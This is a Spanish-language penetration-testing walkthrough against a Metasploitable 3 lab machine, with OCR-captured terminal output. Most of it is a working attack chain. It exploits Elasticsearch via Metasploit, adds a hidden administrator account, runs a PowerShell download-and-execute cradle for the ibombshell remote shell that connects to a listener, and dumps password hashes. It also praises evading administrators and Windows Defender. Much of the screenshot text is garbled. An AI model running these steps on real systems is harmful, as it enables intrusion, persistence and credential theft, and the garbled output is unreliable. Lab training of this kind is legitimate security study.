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Para esta práctica se aprovechará la vulnerabilidad de elasticsearch en Metasploitable 3. Para esto iniciamos msfconsole y seleccionar el exploit a utilizar con el comando use de la herrramienta:
Use exploit/multi/elasticsearch/script_mvel_rce
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Nota: es importante agregar el RHOST que será el equipo objetivo.
Nos devolverá una Shell Meterpreter.
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Con el comando pwd mostrará la dirección donde te encuentras.
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Para obtener el número de proceso mediante getpid.
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El usuario se obtiene con:
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Para conocer mayores detalles del sistema operativo
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Con el comando ps se mostrarán los procesos corriendo dentro del sistema.
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Conocer su tabla ARP ayudará determinar rápidamente equipos dentro de la red.
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Obteniendo una Shell del sistema y utilizando escritorio remoto
Se ejecuta el comando Shell.
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Obteniendo los usuarios.
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Agregar un usuario de nombre pedro y el password pedro1234
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Después agregarlo al grupo de administradores con el comando:
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En otra terminal se ejecuta el comando:
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Hasta aquí todo bien, pero el tener un usuario extra es muy evidente y el administrador de sistemas puede sospechar rápidamente. Por lo cual se hará uso de la herramienta Ibombshell la cual está escrita en Powershell que permite rápidamente obtener funcionalidades post-exploit en cualquier instante y sistema operativo a través de un repositorio de Github.
Es una shell remota que se carga directamente en memoria sin ser almacenado en disco, por lo cual se dejan menos rastros y proporciona acceso a una gran cantidad de características de pentesting.
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Jugando con IbombShell
En el equipo donde se encuentra Kali Linux se descarga el repositorio de “ibombshell” en el siguiente enlace.
https://github.com/ElevenPaths/ibombshell
Se extrae la carpeta en el directorio de su elección para este ejercicio en la carpeta descargas.
https://github.com/ElevenPaths/ibombshell/archive/master.zip
Para descomprimir con el comando unzip ibombshell-master.zip
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Se ingresa a la carpeta ibombshell-master/ibomshell c2
[image: ]
Ejecutar el comando pip install -r requirements.txt para instalar.
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Para iniciar e ingresa pyhton3 ibombshell.py, con lo cual aparecerá la siguiente pantalla una vez terminada la carga.
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Se crea un listener, para esto es necesario cargar el módulo.
load modules/listener.py
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Para ver las opciones que presenta el módulo se ejecuta el comando “show”
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Se puede utilizar los parámetros por defecto, pero si el puerto de escucha se encuentra ocupado pueden utilizar otro sin problema. Para iniciar el módulo con el comando “run”, quedando a la escucha en espera de una conexión.
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Para realizar una conexión, en el equipo donde se encuentra instalado Metaploitable 3 se inicia escritorio remoto y con el usuario previamente creado:
Usuario: pedro
Password: pedro1234
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Se prosigue a abrir Powershell y se ejecuta el siguiente comando para obtener una consola de Ibombshell.
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)
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Para obtener una consola que se comunique con nuestro equipo se ejecuta el comando:
console -Silently -uriConsole http://192.168.2.5:8080
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Al ejecutar el comando anterior, se mostrará en nuestro módulo de Ibombshell un nuevo warrior (Equipo conectado).
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Para ver el listado de los warrios se ejecuta el comando:
Warrior list
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Se configura el módulo para establecer la comunicación.
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Después se selecciona el warrior
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Se manda una instrucción en este caso “whoami”
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Con el comando run se mostrará el resultado
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Para obtener las credenciales del equipo basta con carga el módulo:
Load modules/credentials/invoke-powerdump.py
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Se establece el warrior que sigue siendo el mismo.
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Se ejecuta con el comando “Run” y se obtienen los usuarios junto con los hashes de las contraseñas.
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Entre otras cosas interesante que permite Ibombshell es desactivar el análisis en tiempo real de Windows Defender, bypass de UAC, obtener llaves SSH y realizar movimientos laterales. Como pueden observar una herramienta muy interesante que debemos añadir en nuestro arsenal.
Repo GitHub : https://github.com/ElevenPaths/ibombshell
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meterpreter > pwd
C:\Program Files\elasticsearch-1.1.1
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meterpreter > getpid
Current pid: 3704
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meterpreter > getuid
Server username: METASPLOITABLE3$
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meterpreter > sysinfo
Computer : metasploitable3-win2k8

0S : Windows Server 2008 R2 6.1 (amd64)
Meterpreter : java/windows
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meterpreter > ps

Process List

PID

System Idle Process

System
smss.exe
postgres.exe
csrss.exe
wininit.exe
csrss.exe
postgres.exe
winlogon.exe
services.exe
msdtc.exe
lsass.exe
1sm.exe
sychost.exe

User

NT AUTHORITY\SYSTEM

AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\LOCAL SERVICE
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\LOCAL SERVICE
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM
AUTHORITY\NETWORK SERVICE
AUTHORITY\SYSTEM
AUTHORITY\SYSTEM

Path

System Idle

System
SMSS.exe
postgres.exe
csrss.exe
wininit.exe
csrss.exe
postgres.exe
winlogon.exe
services.exe
msdtc.exe
lsass.exe
lsm.exe
sychost.exe
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meterpreter > arp

ARP cache

MAC address Interface

.77.124.213
.77.124.213
11285t 255 .255
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meterpreter > shell

Process 2 created.

Channel 2 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files\elasticsearch-1.1.1>whoami
whoami
nt authority\system
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-1.1.1>net user

anakin_ skywalker artoo _detoo
boba fett c three pio
darth vader greedo
han solo jabba hutt
Juan kylo ren
lando calrissian leia organa luke skywalker
sshd sshd server vagrant





image13.jpeg
:\Windows\system32>net user pedro pedrol234 /add
net user pedro pedrol234 /add
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C:\Windows\system32>net localgroup administrators pedro /add
net localgroup administrators pedro /add
The command completed successfully.
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:~# rdesktop 192.168.2.7
Autoselected keyboard map en-us
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aithub
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root@kali:~/Downloads# unzip ibombshell-master.zip
Archive: ibombshell-master.zip
811bbe0f60ead44a0f461bc48607932fbde6406b1

creating: ibombshell-master/
creating: ibombshell-master/Docker/
inflating: ibombshell-master/Docker/Dockerfile
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# cd ibombshell-master/ibombshell\ c2/
# 1
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root@kali:~/Downloads/ibombshell-master/ibombshell c2# pip install -r requiremen

ts.txt
Collecting termcolor (from -r requirements.txt (line 1))

Downloading https://files.pythonhosted.org/packages/8a/48/a76be51647d0eb9f10e2
a4511bf3ffb8ccle6bl4e9e4fab46173aa79f981/termcolor-1.1.0.tar.gz
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root@kali:~/Downloads/ibombshell-master/ibombshell c2# python3fjibombshell.py
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The first boom

+] Starting the console...
Console ready!

iBombshell> |
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load modules/listener.py
[+] Loading module...

iBombShell[ BN |
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iBombShell[modules/listener.py]l> show

Nan

iBombShell listener

_@toolsprods

Options (Field = Vvalue)
(Listener port)

(Listener address)

(Resource to get)
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iBombShell[ ]> Starting listener on 0.0.0.0:8080...
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ro> iex (new-object net.webclient).downloadstring(‘https://raw. githubusercontent. com/ElevenPaths,
Te')

U:e‘rs\y.'wedn:w:‘ -
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PS C:\Users\pedro> console -Silently -uriConsole http://192.168.2.5:8080
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'BombShell[modules/llstener pyl>
[+] New warric BIM1 om 192.168.2.7
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iBombShell[ ]> warrior list
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IiBombShell [modules/listener.py]> load modules/system/pshell-local.py
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IJ-. BombShell[modules/system/pshell-local.py]> set warrior pPMKDT I
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iBombShell[modules/system/pshell-local.py]> set instruction whoami
iBombShell[modules/system/pshell-local.py]> l
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1BombSheLl[modules/system/pshell-local.py]> run
[+] Ruhning module. ..

B nobe
1BombShe11[modules/system/pshell local. py]>

- V 1 pPMKDT get 1Bomt
metd))101t1ble3\pedro
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1BombShell[modules/system/pshell-local.py]> load modules/credentials/invoke-pow
rdump.py
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iBombShell[modules/credentials/invoke-powerdump.py]> set warrior pPMKDT
iBombShell[modules/credentials/invoke-powerdump.py]> ||
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iBombShell[modules/credentials/invoke-powerdump.pyl> run
]

iBombShell[modules/credentials/invoke-powerdump.py]>

Aénxﬁxstratur:588:aad3b435h514849&aad3b435b51404ee:eOZbc503339d51f7ld913(245d35b50h:..
(Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7eBc0BICO
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b: 1 ¢
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0cOB9ch: 1 :

sshd server:10082:aad3b435b51404eeaad3b435b51404ee:8d0albcfcO61c3359db4a55d00ec27035: ::
leia organa:1004:aad3b435b51404eeaad3bd35b51404ee:8ae6aBl0ce203621cficfabf21f14028: ::

luke skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bacB82005a
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msfS exploit(multi/elasticsearch/script_mvel_rce) > set RHOST 192.168.2.7
RHOST => 192.168.2.7

msf5 exploit(multi/elasticsearch/script_mvel_rce) > exploit
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[!'] This exploit may require manual cleanup of 'C:\Windows\TEMP\HcM.jar' on the
arget

eterpreter > ||





